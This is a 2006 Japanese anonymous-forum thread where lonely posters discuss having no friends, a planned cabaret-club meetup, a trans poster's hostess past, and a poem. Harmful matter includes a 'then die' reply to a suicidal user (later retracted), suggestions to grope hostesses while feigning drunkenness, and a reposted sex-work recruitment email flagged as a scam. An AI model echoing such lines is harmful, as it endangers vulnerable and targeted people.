変換はまんじかいやでいきますが、読むときはばんかいやさんと読みますね。

173 :マジレスさん:2006/02/22(水) 16:12:13 ID:OGgMnHGi
>>171
文章読む限りじゃ愛想も対人スキルも良さそう

他人が期待する通りの自分を演じてしまうのでしょうか

素の自分で誰かに甘えてみたい


174 :マジレスさん:2006/02/22(水) 16:20:51 ID:Kmalsc1q
>>172
いっつも、思うが、おもしろいっひとっすね。読み方聞いといてけっきょく質問にこたえてないしw このスレってかなり濃いな

175 :齋藤:2006/02/22(水) 16:43:36 ID:rNpN6AGB
>>174
質問てなんだ?

あとさ、余計なお世話だけど>>163みたいな書き込みはよくないよ。


176 :マジレスさん:2006/02/22(水) 17:01:18 ID:Kmalsc1q
>>162を縦読みすると死にたいってかいてあるから、じゃあ死ねば

177 :齋藤:2006/02/22(水) 17:05:45 ID:rNpN6AGB
>>176
生きろって言ってあげて

178 :マジレスさん:2006/02/22(水) 17:07:48 ID:Kmalsc1q
わかったよ。すまん。いきろ>>172

179 :齋藤:2006/02/22(水) 17:10:10 ID:rNpN6AGB
>>178
あなたの素直さに感動しました。

180 :卍解屋:2006/02/22(水) 17:16:14 ID:mSwNYztE
>>170
オイは人恐怖症です。人見知りが激しく、人と接点を持っても嫌われやしないか
と不安になってしまいます。なので友達いない歴=年齢です。



181 :マジレスさん:2006/02/22(水) 17:19:53 ID:Kmalsc1q
だってニューハーフが怒ったら恐いじゃんよW
女性恐怖症だが、
漏れも悠って人と同じで男性恐怖症だ
中間はもっと恐いW
キャバオフってキャバ初心者でも行っていいか?
キャバの女って恐そうだが道程がいっても馬鹿に去れないか?

182 :齋藤:2006/02/22(水) 17:23:40 ID:rNpN6AGB
>>181
怒っても怖くないよ。むしろ優しいよ。
キャバオフいって来い。
道程みたいな人たくさん来てるよ。

183 :マジレスさん:2006/02/22(水) 17:32:01 ID:Kmalsc1q
表面上は笑顔で対応されても、裏では道程だって馬鹿にされるんだろうな。
くわしいけど正常?のとき、キャバとかかよってたんか?

184 ::2006/02/22(水) 17:35:08 ID:4Os3Exze
では同定諸君キャバクラ行きますか(^-^)/

金曜夜に歌舞伎町でいいですか?

185 :マジレスさん:2006/02/22(水) 17:39:40 ID:Kmalsc1q
明日じゃんW
早杉

186 :マジレスさん:2006/02/22(水) 17:40:06 ID:9D1Js6vr
オフ会って何をするんですか?

187 :齋藤:2006/02/22(水) 17:40:06 ID:Wpy5v75V
>>183
中学生のときから、今みたいな感じです。
キャバクラで働いていたことはあるので、道程みたいな客もたくさんみてきた。
ちなみに正体はバレなかった。


188 :齋藤:2006/02/22(水) 17:41:15 ID:Wpy5v75V
>>185 明後日

189 :卍解屋:2006/02/22(水) 17:46:57 ID:mSwNYztE
うわーオイも行ってみたいですが、でも行ったところで会話ができないんだろうな〜


190 :マジレスさん:2006/02/22(水) 17:59:31 ID:Kmalsc1q
そう。道程が集まっても無言のままになりそうだけど、そーゆーのはフォローしてくれるのかな
ニューハーフでキャバで働いてたってすごいね
転換してなくて、手とか触ってくる客とかいなかった?触って物があったらびびるだろ

191 :齋藤:2006/02/22(水) 18:19:59 ID:Wpy5v75V
>>190
下半身はいつもガードしてましたよ。
胸とか腰とか触られることはあったけど、下半身だけは触られるまいと防御態勢だった。
ニューハーフ専門の店では働きたくなかったから(男女を売り物にしたくないっていう変なプライドがあった)、
キャバクラで働く以上は、ばれないように頑張りました。

本名は女でも使える名前だし、身分証確認は運転免許だったから店で雇われるときも問題なかったです。

192 :マジレスさん:2006/02/22(水) 18:30:38 ID:Kmalsc1q
やっぱり胸とかさわる客ドラマみたいにいるんだ。
さわったりするのはやっても怒られない?
なんで、そこまでしてキャバで働いたの?寂しかったから?金?
なんか色々きいてすまそ。

193 :ともりも:2006/02/22(水) 18:47:06 ID:LlTdqcUB
>>176

縦読みありがとう。
それだけで、オイは明日までは何とか生きられそう。

>>177

ありがとう。

>>157

適切な問い、ありがとう。


194 ::2006/02/22(水) 18:49:58 ID:z0N34S3u
25日
20時30分
新宿ドンキ前集合
店はアジアン

詳細はメールでやりとりしましょう(^-^)/

click@anan.to

195 :齋藤:2006/02/22(水) 19:05:48 ID:Wpy5v75V
>>192
胸さわる客なんてドラマとかじゃなくても日常茶飯事です。でも触ってはいけませんよ。
女の子に好かれる客なんて触らなくても、100人中1人ぐらいもんじゃないかな?


あの頃はお金をためて、性転換手術したかったんだ。
あと通っていた病院代も結構したな。
性転換しても心療内科に2年以上通院していないと、戸籍変更の申し立てができないんだよ。
でも性転換はしなかったよ。


196 :齋藤:2006/02/22(水) 19:19:06 ID:Wpy5v75V
>>193
イ`!!


197 ::2006/02/22(水) 19:30:52 ID:6AFp1YWe
さて帰るかな。キャバクラ楽しみだな

198 :マジレスさん:2006/02/22(水) 20:29:09 ID:Kmalsc1q
>>195
じゃあ、素直な漏れは触らないことにするよW
前に彼氏いたみたいだけど、やっぱ客だったの?
好かれる客なんて最初からキャバいかなくてもモテるんだろうな
おまえさんにも、彼氏できるとイイナ


199 :マジレスさん:2006/02/22(水) 20:33:50 ID:Kmalsc1q
>>193
縦読みしただけで生きられるって単純ね
でもガンガレ
>>適切な問い、ありがとう。
って卍解屋の質問にあんたも何にも答えてないジャマイカ
どうなってるんだ

>>悠
あしたメールする。
初心者なんで店いく前に作戦会議やらんでいいのか

200 :卍解屋:2006/02/22(水) 20:40:22 ID:mSwNYztE
オイも行きたいけど、東京は遠いしお金がないので行けれそうにありません。
でも気合い入ってますね。楽しんできてくださいね。

201 ::2006/02/22(水) 20:47:35 ID:9crhEfO3
>>199
会議良いですねやりましょう。どうやっておっぱい触るかとか作戦立てましょう。ちなみにチェリーですかね?僕はチェリーです。ではメール待ってます。

202 ::2006/02/22(水) 20:49:45 ID:9crhEfO3
卍さんは駄目ですか・・残念です。でもまた機会があったらぜひ(^-^)/

203 :マジレスさん:2006/02/22(水) 20:58:51 ID:Kmalsc1q
卍はこないのか。
おめーさんの分まで楽しんでこよう。
メールは携帯からなので明日する。
ちなみに三十路も近い道程。そちらは?
胸は酔った振りして触ればいいんじゃない>>斉藤?

204 :マジレスさん:2006/02/22(水) 21:00:21 ID:OGgMnHGi
>どうやっておっぱい触るかとか


正直、気持ち悪い
風俗板に行って下さい


205 :マジレスさん:2006/02/22(水) 21:03:01 ID:e/rYuH3d
いつも一人だよー。性格的に人とうまくやれないんだよね・・・。働くこともあんまりできないし

206 :マジレスさん:2006/02/22(水) 21:04:58 ID:OGgMnHGi
病気でもなさってるの?


207 :齋藤:2006/02/22(水) 21:41:30 ID:Wpy5v75V
誤解を与えてはいけないので書いておきます。
キャバクラで触っては駄目です。絶対に駄目です。
キャバクラも(一時でも)人間同士の交流の場なので、マナーと愛で楽しんで下さいね。
触りたい人はおっぱいパブへ行きましょう。

男ってやだわ…。
早く自分のあれ切りたい。

208 :マジレスさん:2006/02/22(水) 21:48:37 ID:Kmalsc1q
変な話すまなかった。
はやく手術できるといいな。応援してるよ

209 :齋藤:2006/02/22(水) 21:52:21 ID:Wpy5v75V
>>198
ありがとう。私には数年前に彼氏がいたんだけど、自分みたいな人間は重かったみたい。
彼には申し訳ないことをした気もする。
でも、こんな自分でも好きな人と、一緒に笑える時間が過ごせて幸せでした。
今は、その人の幸せをただただ祈るばかりです。

あなたにも彼女ができるといいね!
ところで夢を壊して申し訳ないが、キャバクラはどんな人でももてる場所ですよ!!

210 :齋藤:2006/02/22(水) 21:56:18 ID:Wpy5v75V
そうなの、酔うと男は胸を触るのよねー


211 :もも:2006/02/22(水) 22:30:35 ID:BURw74Yr
盛り上がってますね。キャバクラオフ。
夫いわく、たとえ擬似恋愛だとしても、なんでもいいから
とにかく最初の一歩が踏み出せる人はちゃんとうまくいくとの事。
男性陣の皆様、頑張って楽しんできてくださいね。o(^-^)o

212 :卍解屋:2006/02/22(水) 22:42:42 ID:mSwNYztE
>>悠さん >>203さん
ありがとうございます。オイの分まで思う存分楽しんできてください(^^)/

213 :マジレスさん:2006/02/22(水) 22:43:53 ID:Kmalsc1q
>>209
昔の彼氏の幸せを祈ってるなんてあんたはやさしいんだな


214 :齋藤:2006/02/22(水) 22:55:12 ID:Wpy5v75V
>>213
ニューハーフはみんな優しいんですよw
彼のことが好きだったから、今でも幸せでいて欲しいだけです。
ちなみに彼はお客さんじゃありませんよ。


215 :マジレスさん:2006/02/22(水) 23:00:55 ID:Kmalsc1q
>>211
>>18をよませてもらったがあんたの旦那はうらやましいな。尊敬するとつたえてくれW
友達0道程のおれらがどうすればあんたみたいな嫁をもらえるか教授願いたいわ
結婚して家族ほしいし、やはりいつもひとりはつらい

216 :マジレスさん:2006/02/22(水) 23:06:20 ID:Kmalsc1q
>>214
あんた、いい人だし面白いからニューハーフでもいいから付き合いたいわ
セックスとかもうどうでもよくてやさしさにうえているさ。
ニューハーフだと健全な生活はしてなかったはずだけど、どういう場で出会ったんだ?今の職場は金はいいが忙しくて死ぬし、女と話す機会が無い。

217 :マジレスさん:2006/02/22(水) 23:23:02 ID:pQmzfBVF
>>216
お前・・・・・・・・・・・・辛いなーーーー

218 :ともりも:2006/02/22(水) 23:35:09 ID:LlTdqcUB
>>193

単純なんだけど、オイは生き難いんだ。でも、励ましてくれてありがとう。
流れを切って悪いが次の詩でも読んでくれ。

ぱさぱさに乾いてゆく心を  ひとのせいにはするな
みずから水やりを怠っておいて

気難しくなってきたのを  友人のせいにはするな
しなやかさを失ったのはどちらなのか

苛立つのを  近親のせいにするな
なにもかも下手だったのはわたくし

初心消えかかるのを 暮らしのせいにはするな
そもそもが ひよわな志にすぎなかった

駄目なことの一切を  時代のせいにはするな
わずかに光る尊厳の放棄

自分の感受性ぐらい  自分で守れ
ばかものよ

茨木のり子

こんな詩を書く人が孤独死、喪主決まらず・・・だと。
やっぱ世の中は理不尽なんだ。
悲しいけど、これが現実。
あとは、この現実を受け入れるかの結論だけ。


219 :マジレスさん:2006/02/22(水) 23:56:25 ID:pQmzfBVF
俺は、この詩が嫌いだ。忘れてしまいたい、誰かのせいにしてきた事をこの詩が呼び起こす。この詩を思い出すたびに過去の罪に苦しめられるのだ。

しかし茨木のり子・・・偉大な女性だ。。

220 ::2006/02/22(水) 23:57:46 ID:pQmzfBVF
ちなみに喪主がいないのは故人の遺言らしい。

221 :ともりも:2006/02/22(水) 23:59:42 ID:LlTdqcUB
>>218
スマソ
× >>193
◎ >>199

昔、スケート大会にも出場してる子から、安藤美姫本人のアドレスを聞き出したことがあった。
siawaseninaritai-kamisama@**********
(正確のは若干異なるし、そもそも正しいのか知らないし、二年前だから今は違うだろう)
彼女も一見、華やかな舞台に立っているが内心は幸せではないのだろうか・・・

「幸せ」って何だろう?
友達がいないから、すべてが不幸せに感じる。


222 :マジレスさん:2006/02/23(木) 00:12:25 ID:Oq14L3Cj
>>221
マジだったら結構スゴイ。

223 :マジレスさん:2006/02/23(木) 00:15:12 ID:CEWsIxkk
>>194は新手の詐欺なので気をつけましょう

★20代女の子で借金してる子ぃるの??★5

189 :名無しさん@お腹いっぱい。:2005/12/26(月) 22:47:54 ID:DcaZoCfT
車のローン残り30マソとクレジットカード限度額…orz
しかもうつ病になってしまって会社行けナス
どぼじよ病院代もかかるし
フゾークで稼ぐ気力も無い
orz


193 :名無しさん@お腹いっぱい。:2005/12/27(火) 11:15:35 ID:yLhp4ylU
>>189
もし良かったら俺の経営するヘルス店で働こうよ(^-^)/。
お店は皆和気あいあいして凄く楽しく仕事できるよ。

click@anan.to
↑メール待ってます(^-^)/


224 :マジレスさん:2006/02/23(木) 00:26:53 ID:sYIomKot
キャバオフってネタだと思ってたらマジでやるのかよw
つーか、キャバクラって客とお店の女の子が喋る場だろ。
お前ら同士で喋らなきゃオフ会の意味がないと思うんだが…
それとも単にキャバクラ行きたいだけかよw

それからもう一言
>>209
>キャバクラはどんな人でももてる場所ですよ
これは嘘だあああ!!!

225 :マジレスさん:2006/02/23(木) 00:28:02 ID:eFzPgAqP
>>224
>>キャバクラはどんな人でももてる場所ですよ
>これは嘘だあああ!!!
それはサービスの悪い店に逝ってしまっただけだと思われ

226 ::2006/02/23(木) 00:30:16 ID:bBFIFiSi
>>223
ヘルス店経営してますが何か?

227 :ルカ ◆IOAAALucaM :2006/02/23(木) 00:43:35 ID:Ro9KGykH
風俗の話してる奴は友達が欲しいんじゃなくて、ただ女に飢えてるだけなんじゃ?

悠さん、副業でそんなことしてたのかい??
童貞でヘルスの経営者って・・・(>>201)

228 :マジレスさん:2006/02/23(木) 00:44:46 ID:eFzPgAqP
店の女の子には決して手を出さない、風俗店長の鏡じゃないかw

229 :ルカ ◆IOAAALucaM :2006/02/23(木) 00:49:32 ID:Ro9KGykH
そうか、「味見」をしない店長かw

230 ::2006/02/23(木) 00:53:37 ID:bBFIFiSi
もう風俗の話はやめよう。俺は店の子には手を出さないよ。てか店にほとんど顔出さないしねwwちなみに俺はオーナーだよ!!店長じゃね〜wもう足洗うよ全然儲からないし。。。てか足洗えるかわからん皆足引っ張りやがる。かたぎに戻りて〜な〜はぁ・・・

231 :マジレスさん:2006/02/23(木) 00:54:45 ID:eFzPgAqP
>>230
今度お店逝くから安くしてよ

232 :ルカ ◆IOAAALucaM :2006/02/23(木) 00:58:03 ID:Ro9KGykH
若くしてオーナーになったのか。そりゃたいしたもんだ。

昼間は堅気なんだよね?

233 ::2006/02/23(木) 01:02:38 ID:bBFIFiSi
もちろん昼間はちゃんと会社で働いてるよ〜やっぱり普通が一番だよルカさん。

234 :ルカ ◆IOAAALucaM :2006/02/23(木) 01:07:25 ID:Ro9KGykH
副業かあ。風俗よりオーナーの道になった背景のほうがキニナルな〜

女が欲しいやつと金が欲しいやつだけの違いかw

友達が欲しい以上には欲しないがなヽ(´ー` )ノ

235 :マジレスさん:2006/02/23(木) 01:20:52 ID:ZrVVjQua
なんかここ雑談スレになっちまったな。別いいけどね

236 :ルカ ◆IOAAALucaM :2006/02/23(木) 01:56:13 ID:Ro9KGykH
まあなんというか、女に飢えてるだけだろだの書いてしまったが、
昔はその手の店にはずいぶん世話になったな。
孤独な時間を少しでも減らすために、中毒のように通いまくったっけ。
朝から昼間から通いつめて頭おかしいんじゃないかとw

一度だけ、おれには友達がいないからこうやって店に来て孤独をごまかしているんだと話したら、
堰を切ったように私も実は友達がいなくて云々・・・という嬢の身の上話が始まったっけ。
ひょっとしたら営業用に合わせたのかもしれんが、まあ内容は真実味を帯びていたからどうでもいい。
調子に乗って中島義道の『孤独について』をバッグから取り出して、
孤独と行きにくさについて語って帰ってきたw 痛い客かもしれない(;´Д`)
ほんの1時間だけは、普段は欲しくても手に入らない「ああ、なんだか通じ合えたかもな〜」という
満足感が得られた。

要するにおれは、友達が欲しいっていう曖昧な言い回しではなくて、もっと正確に言えば、
「誰かが自分のことを理解してくれて、自分も相手をわかってあげる、それが(店の嬢じゃなくて)
普通の人とずっと続くこと」が欲しいんだな、と思いますた。
それが得られない限り、生きる活力が恐ろしいほどに枯渇していく。
自分がこの世にいる意味がない。

余計なお世話かもしれんが、
男はこうやって当面の孤独を避けようと思ったら、金で(幻想にせよ)買うことはできるが、
女用のキャバクラというかおしゃべり提供店舗はほとんどないから逃げ道探すのは苦労するのかも...
下品でうるさいホストクラブなんてまともな人間は行かないし。

もっとも風俗キャバクラでは普通は永続的な人間関係なんてできやしないから、
根本的な問題解決にはならないんだよなあ。
これが4.1のさわり。

237 :齋藤:2006/02/23(木) 08:00:28 ID:f62tDqZv
>>215
失礼しちゃうわ、健全な生活しているニューハーフもいるのよ。
彼とは入院した病院で知り合いました。同じ病室に入院していて、色々とお世話になったのが始まりみたいなものでした。


でもあなたには、女性として生まれて女性として生きてきた人と、付き合って結婚してほしい。
優しさだけならニューハーフでもあげられるけど、それ以上のことは何もできないもの。


238 :齋藤:2006/02/23(木) 08:02:48 ID:f62tDqZv
>>224
キャバクラでもてないの…?


239 :齋藤:2006/02/23(木) 08:04:19 ID:f62tDqZv
>>226
ニューハーフはヘルスで働けませんよね?


240 :齋藤:2006/02/23(木) 08:52:51 ID:jcXikwLz
>>218
すごい詩だ。
誰にも依存いないで、誰にもよりかからないで生きていた人なのでしょう。
孤高の魂を持つ人だったのかもしれない。
私もこんな風に強くなりたいです。
自分の場合、友達がいないのは、社会や周囲のせいじゃないのだと認められるようになりたい。

この方の戦争体験の詩は強烈でした。
「私の青春は灰色だった」みたいな詩で
(詳しく憶えておりません。すいません。)
子供のときに読んだのだけど、今でも時々思い出します。

すごい詩を教えてくれて、ありがとう。


241 :卍解屋:2006/02/23(木) 18:10:11 ID:2rEyxo52
友達がいないのは辛い。嬉しいことも悲しいこともオイの境遇を分かち合える人がいない。
ホントにこのままでは精神的にジリ貧になる。空しく日々を重ねていくだろう。
はぁ。いつかは友達ができると希望を持って生き続け、叶わぬまま朽ちていくのか
それとも友達作りをギブアップして、孤高の人となるべきか。オイにはその覚悟
ができない。友達が欲しい。

242 :171:2006/02/24(金) 02:47:00 ID:dcU+9AXI
>>173 優しい言葉ありがとう。
おかげで今日もちょっとは頑張ろうかな、って気になれました。
ふらっと立ち寄っただけの板だったんですが、
ここは優しいインターネットですね。

みなさんの上に幸せ訪れろー * **
私ニモナー

243 :マジレスさん:2006/02/24(金) 09:57:41 ID:K6nN2b6p
>>148です
キャバオフって本当にやるのですか?
俺千葉だけど行ってみようかな

244 :マジレスさん:2006/02/24(金) 12:08:22 ID:D2oOAeDO
>>243
千葉のどのへん?

245 :マジレスさん:2006/02/24(金) 12:27:58 ID:K6nN2b6p
千葉でも、東京よりですよ。船橋あたりです。

今日はようがあって東京に行きますけど

246 :マジレスさん:2006/02/24(金) 15:43:40 ID:D2oOAeDO
>>245
俺 八千代なんだ
キャバオフ行きたいけど
新宿は遠いや・・・
参加する人 楽しんでこいよー

247 :市原在住:2006/02/24(金) 15:59:38 ID:QOyaM2kC
八千代で新宿遠いってどんだけヒキコモリなんだよw


248 :マジレスさん:2006/02/24(金) 16:22:30 ID:D2oOAeDO
>>247
仕事帰りに新宿に立ち寄れるほど元気ないです。。。

249 :市原在住:2006/02/24(金) 16:24:56 ID:QOyaM2kC
じゃあ土日にやらない?
場所も変えて

250 :173:2006/02/24(金) 17:45:16 ID:9M881T10
>>242
いえこちらこそ(^o^)/
242さんにも幸せ訪れますヨーニ


251 :マジレスさん:2006/02/24(金) 22:50:11 ID:QOyaM2kC
スケートの荒川ってブスなだけでなく、性格悪そうな顔してるよね
友達以内おれらも友達いない顔してるのかね

252 :卍解屋:2006/02/24(金) 23:38:54 ID:jCDqb8B/
オイにはブスには見えないけど、でも性格がキッツイ顔してそうだなあという
印象を受けないでもない。やはり頂点を狙うには自分に厳しくしていかないと
いけないんだなあ〜とそれが顔に表れたのでは?
でもオイは友達いない顔してるのかなあ?なんかここにいる人達で統計とって
調べてみたいれす。それなら傾向と対策がたてれないもんかなあ〜立てれたら
いいなあ〜(*^_^*)

253 :ルカ ◆IOAAALucaM :2006/02/25(土) 00:13:01 ID:o3HMoEhe
宝くじが当たったら何を買おう? なんていう生易しい仮定じゃなくて、
友達のいないおれが、もしもオリンピックに出ることになったらと大胆な仮定をしてみる。
「この選手、応援にかけつける人が誰もいないようです」と記者に書かれて、大恥をかくに違いないw
ベンチで一人ぼっちで座ってるところなぞ、テレビに撮られたくない。
そう考えると夜しか眠れない ⊂(´∀`⊂⌒`つ≡≡

そんなおれは、スケート選手の中ではだんぜん村主タンがお気に入りだ。
ああいう特徴的な顔が、ツボにハマる...
荒川がきつそうに見えるのは、目のつくりとメイクのせいもあるんじゃないのかな。
普通に可愛いとおれは思うよ。

254 :マジレスさん:2006/02/25(土) 00:44:30 ID:HAch6WOo
ボクはスルツカヤ タソがお気に入りです。


255 :マジレスさん:2006/02/25(土) 01:48:37 ID:EEe0xT9n
いつの間にここはネタスレと化してしまったんだ

256 :マジレスさん:2006/02/25(土) 01:50:18 ID:RGGnBTkX
>>254
わしもスルツカヤで抜けます
おばさんぽくていいです

257 :マジレスさん:2006/02/25(土) 02:19:28 ID:ixuunm+S
スルツカヤ好きには

恩 田 美 栄

>>253
いや、 夜 は 寝 ろ よ w
演技(競技)が終わって、監督やコーチと抱き合うわけでもなく、
客席の友人に手を振るでもなく、涼しい顔でそそくさと会場を後にする選手がいたら
それはそれでかっこいいだろうね。まさにクールビューティー。

258 :マジレスさん:2006/02/25(土) 03:44:38 ID:HAch6WOo
>>256

スルツカヤ(*´∀`)人(´∀`*)ナカーマが居て嬉しい。(恩田は同意しかねるがw)
女性の知り合いに好みのタイプを聞かれ、スルツカヤ同じく、ハーフ+オバタンを表象する東野翠れんだと応えたらドン引きされた。
女性のタイプからして、世間様の平均から大きく乖離しており、誰とも価値観が合わない。
だから友達は一向に出来る気配がない。
今日も友達いない暦=年齢更新中の寝付けない夜。
寒い。


259 :ともりも:2006/02/25(土) 04:12:42 ID:HAch6WOo
>>157
>>卍解屋さん

遅レスになってしまってすみません。はじめまして。
実は>>1の派生掲示板の>>208でもルカさんから、似た質問をされました。
忙しいのと、まだまとまってないので返信が遅くなってしまってます。
近々に詳しく書き込みするので詳細なレスはそちらを見て下さい。

さて、
>合コンに誘われるくらいなら、そう薄い仲でもないでしょう?
>でもその人は友達という位置づけにはないんですか?単なる知り合いですか?
>それでもオイには羨ましいなあと感じました。

これに関しては>>53『友達のつくり方』ルカ編では1-2、友達の定義という論点に該当します。
答えから申しますと、自分を合コンに誘った方々は「友達」には当てはまりません。
理由は、彼らと接する上で、違和感を感じるからです。
同世代との違和感を感じる要因に関しては、後日、別館に詳しく書くとして、ここでは友達の定義について私見を述べます。

ちょっと難しい話になるのですが、「美人投票理論」というものをご存知でしょうか?
ttp://d.hatena.ne.jp/keyword/%C8%FE%BF%CD%C5%EA%C9%BC
丁度、スケート選手の話が出ていますが、荒川 村主 安藤 スルツカヤの四人の中で誰が一番美人か?アンケートをとったとします。
皆さんの頭の中では
*ともりも:スルツカヤwwww *ルカさん:村主 *卍解屋さん:荒川
を考えていたとします。
でも、ここはネット上なので好き勝手に言えますが、リアルだとスルツカヤとか言ってマジレスしたらドン引きされる恐れがあります。
だから合理的に考えて、結局、全員が無難に安藤に投票する可能性が高いです。
本音ではそれぞれの好みがあるのにも関わらず、表面的な行動は本音とは異なり、世間的な合理予想によって決まってしまいます。


260 :ともりも:2006/02/25(土) 04:14:26 ID:HAch6WOo
>>卍解屋さん
続きです。この理論は合理的に株価投資を説明する為に用いる話なんですが、実生活でも同じような事があるのではないでしょうか?
つまり、本音のままで行動すると、周囲からドン引きされてしまう恐れがあるので(cf>>25-30
いつも、「こうすれば上手くいくだろう」という予想の元、上辺だけの人間関係を築いてしまう訳です。
周囲からドン引きされる事を恐れる理由は、ドン引きされ表面上の付き合いが切れると情報が入らず思考が硬直化するリスク(cf>>156)や孤独化リスクがあるからです。
これらのリスクを回避するために、合理的に考え、表面上の付き合いを続けているわけですが、
やはり、表面上の付き合いは虚しいだけであり(cf>>62)、同じ目線で付き合うことは出来ないから、相互に刺激どころか、嫉妬がたまるだけだけ(cf>>42)です。
合コンに誘ってきた方々とはまさに、この表面上の付き合い訳ですが、いくら誘いがあったと言え、このような関係を「友達」の定義に含むことはできません。
自分にとっての「友達」の定義はこの「美人投票理論」の例外、つまり堂々とスルツカヤが一番wwwwwと主張できる人なのかもしれません。

>友達とはこうあらねばならないみたいな感じがしてもっと妥協した考えを持ってもいいのになと思いました。
>そのほうが生きやすくありませんか?

ご指摘の通り、妥協した考えを持った方が生き易いでしょう。
しかし、理想を放棄するのが嫌なのです。
小さい時から、「なぜ人間として産まれてきたのか」や「なぜ経済格差がうまれるのか」「なぜ戦争がなくならないのか」など物事の本質や理想といった抽象的なことばかり考えてきました。
自己の意思として「生き難さ」を選択しているのかもしれません。



261 :マジレスさん:2006/02/25(土) 13:36:13 ID:HAch6WOo
>>252
傾向と対策、オイも知りたいです。
でも、顔晒しは恐いとです

女性は化粧で隠せるから楽でいいよ。
ニューハーフが羨ましいw

262 :齋藤:2006/02/25(土) 14:24:23 ID:yFR7ug9x
>>260
お化粧で素顔を隠しても、そんなの女としては二流。
私は化粧は薄いけど、まがいものですが…orz


傾向と対策を立てても、対策は万人に通じるわけじゃないですよ。その人に合った対策じゃないとね…。
なかなか難しいです。

263 :ともりも:2006/02/25(土) 16:22:55 ID:HAch6WOo
>>斎藤さん

確かに傾向はつかめても対策は人それぞれですね。

でも、友達がいないので真摯に指摘してくれる人がおらず対策も立てにくいです。
どうしても一人よがりになってしまい、対策をたてても、うまくいかないままです。
これも友達いないスパイラルの一つでしょうか?
どんどん袋小路にはまっていく人生です。

264 :マジレスさん:2006/02/25(土) 17:52:15 ID:UcA46THV
うちの会社パチンコ・スロットやるやつばかり…
おれには何が面白いか全くわからん

265 :卍解屋:2006/02/25(土) 20:18:59 ID:LLL5oQn2
>>ともりもさん
ご丁寧なレスありがとです。ともりもさんのいわんとしていることがわかった
ような気がします。そうですか。それがともりもさんの処世術というか世間を
渡っていく指針ならそれもいいですねと思うとです。自分の本音を隠して他人に
合わせていくそうじゃない者は村八分じゃ・・・・これも島国日本の悪しき風習
かもしれませんね。いや世界共通ですか?どうなんでしょ?まあいいとです。
でもオイは人に嫌われたくなくついつい合わせてしまって、じゃあ自分の本音は?
と問われたときそれがないってときが多々あります。それはかなりよくないことやけん
かえていかないけんと思うとです。ホントに金魚の糞ですバイ。ともりもさんのように
価値観をもっていきるのはそれが弊害になるときもあると思いますがでもともりもさん
の友達観にぴったんこかんかんな相手がみつかるとよかですね。

266 :卍解屋:2006/02/25(土) 20:25:20 ID:LLL5oQn2
>>齋藤さん
でもオイは万人に使える対策がほしいです。これがあればどんな人でも
お友達(^^)みたいな奥義みたいなものが欲しいくらい友達に飢えています。


267 :卍解屋:2006/02/25(土) 20:29:52 ID:LLL5oQn2
そういえば今日はキャバオフの日ですね。皆さん楽しんでいるかなあ?
いったことないからなんか報告が聞きたいです。

268 :マジレスさん:2006/02/25(土) 21:07:58 ID:RGGnBTkX
>>258 東野翠なんてマニアックなひと、だされたらそりゃひくお

269 :マジレスさん:2006/02/25(土) 21:13:11 ID:J6u5w599
長所は欠点に繋がるし、欠点は長所に繋がるから・・・・
それが個性なんじゃないかな?

270 :マジレスさん:2006/02/25(土) 21:46:41 ID:IOzpjTvv
友だちいない長所ってなんだ?
性格暗い長所ってなんだろ?
コミュニケーションスキルが低いことによる長所は?


271 :マジレスさん:2006/02/25(土) 23:58:35 ID:HAch6WOo
>>268
東野翠『れん』です。
女性誌のモデルなんで話した人は知ってました。
でも、変わってると言われた。
話した人がJJ系だったからかもしれないが…


272 :ともりも:2006/02/26(日) 00:11:45 ID:43Dup8LG
>>270

友だちいない長所は、一人行動を謳歌できることですね。
好き勝手に振る舞えます。
あまりに居心地がよくて、いつも一人です。
でも突発的に寂しくなります。

性格は明るいと言われます。
コミュニケーションスキルは高いはずです。
なぜなら、いつも表面上の付き合いばかりですからw
本音で付き合える友達はゼロ!
このまま順調にいけば、友達いない歴最高記録保持者としてギネスに申請する予定です。
応援よろしくお願いします。

273 ::2006/02/26(日) 00:12:47 ID:MiedAFdc
東野ちゃん可愛いよね。美波ってモデルも可愛いと思う。

ちなみにキャバオフなんですが一通もメールこなかったorz。カキコミの流れから詐欺かと思われたのかも(@_@;。まぁ俺みたいに怪しい奴とは行きたくないよね


274 :ともりも:2006/02/26(日) 00:19:53 ID:43Dup8LG
>>273
美波、高橋マリコ、藤田陽子はネ申だよ。
こないだ、藤田陽子は野田秀樹と結婚したけど…
女は金と学歴に弱いorz

275 :卍解屋:2006/02/26(日) 00:22:26 ID:XzFNGyBW
>>悠さん
そうですか・・・・それは残念でしたね。オイも報告楽しみにしていたのに・・・・・
やっぱりこういうネットだと顔が見れないから信用しないんですかね?う〜ん
それにしても残念です。

276 ::2006/02/26(日) 00:22:37 ID:MiedAFdc
本音でぶつかってちゃんと受けとめてくれる人が、この世にいると思えない。

277 ::2006/02/26(日) 00:27:28 ID:MiedAFdc
名前忘れたけどノンノのモデルで和菓子屋で働いてるって子も可愛かった。あとどっかの中央大学だかどっかの大学院で勉強してる子。

全然名前思い出せない(笑)

278 :卍解屋:2006/02/26(日) 00:29:25 ID:XzFNGyBW
>>悠さん
ああそれ何となくわかる気がします。こんな自分が言ってもだれも聞いちゃあ
くれないんだろうなあって、必死に言ってもなんだこいつっていう扱いを受けてしまう
みたいな。オイはそんな感じです。

279 ::2006/02/26(日) 00:37:33 ID:dbE+XPeI
>>274
そういえば藤田陽子結婚したんだよねorz。鬱だ

ちなみにアリスってモデルも好きなのだがテレビのバラエティー番組で見たら土屋アンナみたいにでき婚しそうな子でショックでした。

280 :ともりも:2006/02/26(日) 00:43:28 ID:43Dup8LG
>>275
悠さんはオフ会であったけど、怪しい人じゃないです。
悠さん、友達いそうなんだけどなぁ〜

>>277
中央の院の子ってたしか、木村綾子じゃなかったっけ?
名前が不正確。
昔のCUTIEを棚から出してみよう

281 :マジレスさん:2006/02/26(日) 00:50:59 ID:43Dup8LG
アリスもかわいいよね。
でも、馬鹿ぽいと引くよ…

藤田陽子は馬鹿ぽくなくて、古風で好きだった。
あういう女性と友達になりたいけど、古風でかわいい子なんて滅多にいない。
因みに藤田陽子と榎本加奈子がでてる犬猫は好きな映画
あういう友達関係が理想です。


282 ::2006/02/26(日) 00:51:28 ID:dbE+XPeI
そうだ!木村綾子だ。さすがともりもさん(^-^)/ちなみに質問しちゃいますがJJのLIZAって日本人なんですかね?



283 ::2006/02/26(日) 00:58:23 ID:dbE+XPeI
しかし野田秀樹すごいな〜もう齢50はいってるんじゃないか?それで20代の藤田陽子を・・

284 :ともりも:2006/02/26(日) 00:59:55 ID:43Dup8LG
あっててよかった!
ごめん!JJは分からん。
守備範囲はZIPPERとかw
でも最近は見なくなったよ
気力が追い付かない

